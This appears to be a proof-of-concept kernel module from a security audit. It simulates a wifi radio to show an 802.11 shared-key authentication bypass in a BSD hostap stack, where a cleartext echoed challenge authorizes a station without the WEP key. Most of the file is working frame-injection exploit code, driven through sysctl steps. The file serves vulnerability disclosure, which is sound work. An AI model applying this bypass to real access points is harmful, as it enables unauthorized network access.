/* * fw4.c -- software "wifi radio" KLD for the DF-3323 PoC * (pass-2 audit of sys/netproto/802_11/wlan/ieee80211_hostap.c). * * Same harness pattern as findings/poc/DF-3282/fw.c, DF-3312/fw2.c, * DF-3314/fw3.c. * * BUG (DF-3323): 802.11 shared-key authentication is completely * bypassable without possessing the WEP key: * * hostap_input() (ieee80211_hostap.c:851-880) decrypts an incoming * AUTH frame ONLY when the Protected bit is set, and then CLEARS the * bit before calling iv_recv_mgmt(). hostap_auth_shared() * (:1122-1150) processes a seq==3 (IEEE80211_AUTH_SHARED_RESPONSE) * frame with no way to know whether it arrived encrypted: it just * memcmp()s the challenge IE against ni->ni_challenge -- the very * challenge the AP itself transmitted in CLEARTEXT in its seq-2 * response (ieee80211_output.c: add_auth() marks the frame for * encryption only when arg==IEEE80211_AUTH_SHARED_RESPONSE, which * the AP never sends; the seq-2 CHALLENGE frame goes out cleartext, * which is also what 802.11-2016 12.3.3 prescribes for frame 2). * * Per 802.11-2016 12.3.3.3 frame 3 of the shared-key exchange MUST * be protected. An attacker that owns a radio therefore: * 1. sends seq1 (request) [legitimately cleartext] * 2. hears seq2 (challenge) cleartext [AP's own TX] * 3. sends seq3 with that exact challenge, Protected bit NOT set * and the kernel calls ieee80211_node_authorize() (:1149): the * station is authenticated with ZERO knowledge of the WEP key. * * Attack steps driven by sysctl (RF attacker == us): * sysctl kern.fw4_attack=1 inject AUTH algo=shared seq=1, then * report the challenge the AP transmitted * (captured in fw4_raw_xmit) * sysctl kern.fw4_attack=2 inject AUTH algo=shared seq=3 carrying * the captured challenge, Protected bit * CLEAR -> BYPASS if node becomes AUTH * sysctl kern.fw4_attack=3 control: same but one challenge byte * corrupted -> must NOT authenticate * sysctl kern.fw4_attack=4 inject a follow-on ASSOC_REQ (proves * association without the key) * sysctl kern.fw4_attack=5 inject a CLEARTEXT TODS data frame * (delivered to the AP stack when * DROPUNENC is off, e.g. wepmode mixed) * sysctl kern.fw4_state dump attacker node state + last TX */ #include "opt_wlan.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include struct fw4_softc { struct ieee80211com sc_ic; int fw4_running; }; static int fw4_attack = 0; static struct ieee80211vap * fw4_vap_create(struct ieee80211com *, const char [IFNAMSIZ], int, enum ieee80211_opmode, int, const uint8_t [IEEE80211_ADDR_LEN], const uint8_t [IEEE80211_ADDR_LEN]); static void fw4_vap_delete(struct ieee80211vap *); static void fw4_parent(struct ieee80211com *); static int fw4_raw_xmit(struct ieee80211_node *, struct mbuf *, const struct ieee80211_bpf_params *); static int fw4_transmit(struct ieee80211com *, struct mbuf *); static void fw4_nop_ic(struct ieee80211com *); static int fw4_wme_nop(struct ieee80211com *); static struct fw4_softc *fw4_sc = NULL; static const uint8_t fw4_attacker[IEEE80211_ADDR_LEN] = { 0x02, 0x00, 0xde, 0xad, 0xbe, 0xef }; static const uint8_t fw4_dst[IEEE80211_ADDR_LEN] = { 0x02, 0x00, 0xca, 0xfe, 0x00, 0x02 }; /* ---- capture of what the AP transmits (what an RF attacker hears) ---- */ static int fw4_tx_last_subtype = -1; static int fw4_tx_last_seq = -1; static int fw4_tx_last_status = -1; static int fw4_tx_last_challenge_len = -1; static uint8_t fw4_tx_challenge[IEEE80211_CHALLENGE_LEN]; static int fw4_tx_auth_frames = 0; static struct ieee80211vap * fw4_vap_create(struct ieee80211com *ic, const char name[IFNAMSIZ], int unit, enum ieee80211_opmode opmode, int flags, const uint8_t bssid[IEEE80211_ADDR_LEN], const uint8_t mac[IEEE80211_ADDR_LEN]) { struct ieee80211vap *vap; int nvaps = 0; struct ieee80211vap *vp; TAILQ_FOREACH(vp, &ic->ic_vaps, iv_next) nvaps++; switch (opmode) { case IEEE80211_M_STA: case IEEE80211_M_IBSS: case IEEE80211_M_AHDEMO: case IEEE80211_M_HOSTAP: case IEEE80211_M_MONITOR: if (nvaps >= 4) { kprintf("fw4: max 4 vaps\n"); return NULL; } break; default: kprintf("fw4: opmode %d not supported\n", opmode); return NULL; } vap = kmalloc(sizeof(struct ieee80211vap), M_80211_VAP, M_WAITOK | M_ZERO); ieee80211_vap_setup(ic, vap, name, unit, opmode, flags, bssid); ieee80211_ratectl_init(vap); ieee80211_vap_attach(vap, ieee80211_media_change, ieee80211_media_status, mac); return vap; } static void fw4_vap_delete(struct ieee80211vap *vap) { ieee80211_ratectl_deinit(vap); ieee80211_vap_detach(vap); kfree(vap, M_80211_VAP); } static void fw4_parent(struct ieee80211com *ic) { struct fw4_softc *sc = ic->ic_softc; int startall = 0; if (ic->ic_nrunning > 0) { if (!sc->fw4_running) { sc->fw4_running = 1; startall = 1; } } else sc->fw4_running = 0; if (startall) ieee80211_start_all(ic); } /* * The AP's air interface: parse what the kernel hands us to transmit * (the attacker's sniffer) and reclaim the mbuf/node. */ static int fw4_raw_xmit(struct ieee80211_node *ni, struct mbuf *m, const struct ieee80211_bpf_params *params) { struct ieee80211_frame *wh; uint8_t *frm, *efrm; int subtype; if (params != NULL) ; wh = mtod(m, struct ieee80211_frame *); subtype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_MGT) { fw4_tx_last_subtype = subtype; if (subtype == IEEE80211_FC0_SUBTYPE_AUTH && m->m_len >= sizeof(*wh) + 6) { frm = (uint8_t *)&wh[1]; efrm = mtod(m, uint8_t *) + m->m_len; fw4_tx_last_seq = le16toh(*(uint16_t *)(frm + 2)) & 0xffff; fw4_tx_last_status = le16toh(*(uint16_t *)(frm + 4)); fw4_tx_last_challenge_len = -1; fw4_tx_auth_frames++; /* walk the IEs for a challenge element (id 128) */ frm += 6; while (efrm - frm > 1) { if (frm[0] == IEEE80211_ELEMID_CHALLENGE) { int clen = frm[1] < IEEE80211_CHALLENGE_LEN ? frm[1] : IEEE80211_CHALLENGE_LEN; memcpy(fw4_tx_challenge, frm + 2, clen); fw4_tx_last_challenge_len = frm[1]; break; } frm += frm[1] + 2; } kprintf("fw4[air]: AP TX AUTH seq=%d status=%d " "challenge_ie_len=%d protected=%d\n", fw4_tx_last_seq, fw4_tx_last_status, fw4_tx_last_challenge_len, (wh->i_fc[1] & IEEE80211_FC1_PROTECTED) ? 1 : 0); } else kprintf("fw4[air]: AP TX MGMT subtype 0x%x\n", subtype); } m_freem(m); ieee80211_free_node(ni); return 0; } static int fw4_transmit(struct ieee80211com *ic, struct mbuf *m) { struct mbuf *n; while (m != NULL) { n = m->m_nextpkt; m->m_nextpkt = NULL; if (m->m_pkthdr.rcvif != NULL) ieee80211_tx_complete( (struct ieee80211_node *)m->m_pkthdr.rcvif, m, 0); else m_freem(m); m = n; } return 0; } static void fw4_nop_ic(struct ieee80211com *ic) { } static int fw4_wme_nop(struct ieee80211com *ic) { return 0; } static struct ieee80211vap * fw4_find_hostap(void) { struct fw4_softc *sc = fw4_sc; struct ieee80211vap *vap, *ap = NULL; if (sc == NULL) return NULL; TAILQ_FOREACH(vap, &sc->sc_ic.ic_vaps, iv_next) { if (vap->iv_opmode == IEEE80211_M_HOSTAP) ap = vap; } if (ap == NULL) { kprintf("fw4: no hostap vap\n"); return NULL; } if (ap->iv_state != IEEE80211_S_RUN) { kprintf("fw4: vap %s not RUN (state %d)\n", ap->iv_ifp->if_xname, ap->iv_state); return NULL; } return ap; } /* dump the attacker's node state exactly as an observer would see it */ static void fw4_dump_state(const char *tag) { struct fw4_softc *sc = fw4_sc; struct ieee80211_node *ni; if (sc == NULL) return; ni = ieee80211_find_node(&sc->sc_ic.ic_sta, fw4_attacker); if (ni == NULL) { kprintf("fw4.state[%s]: attacker NOT in node table\n", tag); return; } kprintf("fw4.state[%s]: node %p flags 0x%x authmode %d " "AUTHORIZED=%d associd 0x%x challenge=%p%s\n", tag, ni, ni->ni_flags, ni->ni_authmode, ieee80211_node_is_authorized(ni) ? 1 : 0, ni->ni_associd, ni->ni_challenge, ieee80211_node_is_authorized(ni) ? " <<<< BYPASSED" : ""); ieee80211_free_node(ni); } static int fw4_attack_sysctl(SYSCTL_HANDLER_ARGS) { struct ieee80211vap *ap; struct ieee80211_node *ni; struct ieee80211_rx_stats rx; struct ieee80211_frame *wh; struct mbuf *m; uint8_t *frm; int error, kind, len, i; error = sysctl_handle_int(oidp, &fw4_attack, 0, req); if (error != 0 || req->newptr == NULL) return error; kind = fw4_attack; fw4_attack = 0; if (kind <= 0) return 0; ap = fw4_find_hostap(); if (ap == NULL) return ENXIO; m = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR); frm = mtod(m, uint8_t *); wh = (struct ieee80211_frame *)frm; wh->i_fc[1] = IEEE80211_FC1_DIR_NODS; /* NOT protected */ *(uint16_t *)wh->i_dur = 0; IEEE80211_ADDR_COPY(wh->i_addr1, ap->iv_myaddr); IEEE80211_ADDR_COPY(wh->i_addr2, fw4_attacker); IEEE80211_ADDR_COPY(wh->i_addr3, ap->iv_bss->ni_bssid); *(uint16_t *)wh->i_seq = 0; frm += sizeof(*wh); if (kind == 5) { /* clear-text TODS data frame (LLC/SNAP, ethertype 0x9000) */ struct llc *l; wh->i_fc[0] = IEEE80211_FC0_VERSION_0 | IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] = IEEE80211_FC1_DIR_TODS; IEEE80211_ADDR_COPY(wh->i_addr1, ap->iv_bss->ni_bssid); IEEE80211_ADDR_COPY(wh->i_addr3, fw4_dst); l = (struct llc *)frm; l->llc_dsap = LLC_SNAP_LSAP; l->llc_ssap = LLC_SNAP_LSAP; l->llc_control = LLC_UI; l->llc_snap.org_code[0] = 0; l->llc_snap.org_code[1] = 0; l->llc_snap.org_code[2] = 0; l->llc_snap.ether_type = htons(0x9000); frm += sizeof(struct llc); for (i = 0; i < 8; i++) frm[i] = 0xa5; frm += 8; ni = ieee80211_find_node(&ap->iv_ic->ic_sta, fw4_attacker); if (ni == NULL || ni->ni_associd == 0) { kprintf("fw4.data: attacker not associated; " "run fw4_attack=4 first\n"); if (ni != NULL) ieee80211_free_node(ni); m_freem(m); return 0; } } else { wh->i_fc[0] = IEEE80211_FC0_VERSION_0 | IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH; if (kind == 4) { /* assoc req: SSID + rates, as fw3 did */ wh->i_fc[0] = IEEE80211_FC0_VERSION_0 | IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ; frm[0] = 0x01; frm[1] = 0x00; /* capinfo: ESS */ frm[2] = 10; frm[3] = 0; /* listen int */ frm += 4; *frm++ = 0; *frm++ = ap->iv_bss->ni_esslen; memcpy(frm, ap->iv_bss->ni_essid, ap->iv_bss->ni_esslen); frm += ap->iv_bss->ni_esslen; *frm++ = IEEE80211_ELEMID_RATES; *frm++ = 4; frm[0] = 0x02; frm[1] = 0x04; frm[2] = 0x0b; frm[3] = 0x16; frm += 4; ni = ieee80211_find_node(&ap->iv_ic->ic_sta, fw4_attacker); if (ni == NULL) { /* control case: no node exists; inject with * iv_bss as find_rxnode would for an * unknown sender */ kprintf("fw4.assoc: no attacker node; " "injecting via iv_bss (control)\n"); ni = ieee80211_ref_node(ap->iv_bss); } } else { /* shared-key AUTH */ frm[0] = (kind == 6) ? IEEE80211_AUTH_ALG_OPEN : IEEE80211_AUTH_ALG_SHARED; frm[1] = 0; frm[2] = (kind == 6) ? 1 : (kind == 1) ? IEEE80211_AUTH_SHARED_REQUEST : IEEE80211_AUTH_SHARED_RESPONSE; frm[3] = 0; frm[4] = 0; frm[5] = 0; /* status 0 */ frm += 6; if (kind == 1 || kind == 6) { ni = ieee80211_ref_node(ap->iv_bss); } else { /* echo the challenge we captured off the * air from the AP's seq-2 frame */ if (fw4_tx_last_challenge_len != IEEE80211_CHALLENGE_LEN) { kprintf("fw4: no captured challenge; " "run fw4_attack=1 first\n"); m_freem(m); return 0; } *frm++ = IEEE80211_ELEMID_CHALLENGE; *frm++ = IEEE80211_CHALLENGE_LEN; memcpy(frm, fw4_tx_challenge, IEEE80211_CHALLENGE_LEN); if (kind == 3) frm[0] ^= 0xff; /* control: corrupt */ frm += IEEE80211_CHALLENGE_LEN; ni = ieee80211_find_node(&ap->iv_ic->ic_sta, fw4_attacker); if (ni == NULL) { kprintf("fw4: attacker node missing " "(run fw4_attack=1 first)\n"); m_freem(m); return 0; } } } } len = frm - mtod(m, uint8_t *); m->m_len = m->m_pkthdr.len = len; memset(&rx, 0, sizeof(rx)); rx.r_flags = IEEE80211_R_NF | IEEE80211_R_RSSI; rx.c_rssi = -40; rx.c_nf = -95; kprintf("fw4.attack=%d: injecting %d-byte frame (%s) to %s\n", kind, len, kind == 6 ? "AUTH open seq1" : kind == 1 ? "AUTH shared seq1" : kind == 2 ? "AUTH shared seq3 +captured challenge, CLEARTEXT" : kind == 3 ? "AUTH shared seq3 +corrupt challenge, CLEARTEXT" : kind == 4 ? "ASSOC_REQ" : "DATA TODS cleartext", ap->iv_ifp->if_xname); wlan_serialize_enter(); ieee80211_input_mimo(ni, m, &rx); ieee80211_free_node(ni); wlan_serialize_exit(); switch (kind) { case 1: kprintf("fw4.attack=1 done: captured challenge " "(len %d) off the air; AP tx seq=%d status=%d\n", fw4_tx_last_challenge_len, fw4_tx_last_seq, fw4_tx_last_status); break; case 2: case 3: kprintf("fw4.attack=%d done: AP last tx AUTH seq=%d " "status=%d\n", kind, fw4_tx_last_seq, fw4_tx_last_status); break; case 4: fw4_dump_state("after-assoc"); break; case 5: kprintf("fw4.attack=5 done: check wlan ipackets counter\n"); break; } fw4_dump_state("current"); return 0; } SYSCTL_PROC(_kern, OID_AUTO, fw4_attack, CTLTYPE_INT | CTLFLAG_RW, 0, 0, fw4_attack_sysctl, "I", "fw4 PoC: 1=req 2=captured-challenge-resp 3=corrupt-challenge-resp " "4=assoc 5=cleartext-data"); static int fw4_state_sysctl(SYSCTL_HANDLER_ARGS) { int error, v = 0; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return error; kprintf("fw4: total AP AUTH frames transmitted: %d\n", fw4_tx_auth_frames); fw4_dump_state("state"); return 0; } SYSCTL_PROC(_kern, OID_AUTO, fw4_state, CTLTYPE_INT | CTLFLAG_RW, 0, 0, fw4_state_sysctl, "I", "fw4: dump attacker node state"); static int fw4_modevent(module_t mod, int type, void *data) { struct fw4_softc *sc; struct ieee80211com *ic; uint8_t bands[IEEE80211_MODE_BYTES]; switch (type) { case MOD_LOAD: sc = kmalloc(sizeof(struct fw4_softc), M_DEVBUF, M_WAITOK | M_ZERO); ic = &sc->sc_ic; ic->ic_softc = sc; ic->ic_name = "fw4_0"; ic->ic_opmode = IEEE80211_M_STA; ic->ic_phytype = IEEE80211_T_OFDM; ic->ic_caps = IEEE80211_C_STA | IEEE80211_C_IBSS | IEEE80211_C_AHDEMO | IEEE80211_C_HOSTAP | IEEE80211_C_MONITOR | IEEE80211_C_SHPREAMBLE | IEEE80211_C_SHSLOT | IEEE80211_C_TXFRAG ; ic->ic_txstream = 1; ic->ic_rxstream = 1; memset(bands, 0, sizeof(bands)); setbit(bands, IEEE80211_MODE_11B); setbit(bands, IEEE80211_MODE_11G); ieee80211_init_channels(ic, NULL, bands); ic->ic_macaddr[0] = 0x02; ic->ic_macaddr[1] = 0x00; ic->ic_macaddr[2] = 0x00; ic->ic_macaddr[3] = 0x00; ic->ic_macaddr[4] = 0x00; ic->ic_macaddr[5] = 0xf4; ic->ic_vap_create = fw4_vap_create; ic->ic_vap_delete = fw4_vap_delete; ic->ic_parent = fw4_parent; ic->ic_scan_start = fw4_nop_ic; ic->ic_scan_end = fw4_nop_ic; ic->ic_set_channel = fw4_nop_ic; ic->ic_updateslot = fw4_nop_ic; ic->ic_wme.wme_update = fw4_wme_nop; ieee80211_ifattach(ic); /* NB: after ifattach -- proto_attach() overwrites these */ ic->ic_raw_xmit = fw4_raw_xmit; ic->ic_transmit = fw4_transmit; fw4_sc = sc; kprintf("fw4: fake legacy wifi radio attached (fw4_0, 11bg)\n"); return 0; case MOD_UNLOAD: sc = fw4_sc; if (sc == NULL) return 0; if (!TAILQ_EMPTY(&sc->sc_ic.ic_vaps)) { kprintf("fw4: vap still active, refusing unload\n"); return EBUSY; } ieee80211_ifdetach(&sc->sc_ic); kfree(sc, M_DEVBUF); fw4_sc = NULL; kprintf("fw4: detached\n"); return 0; } return 0; } static moduledata_t fw4_mod = { "fw4", fw4_modevent, 0 }; DECLARE_MODULE(fw4, fw4_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); MODULE_DEPEND(fw4, wlan, 1, 1, 1);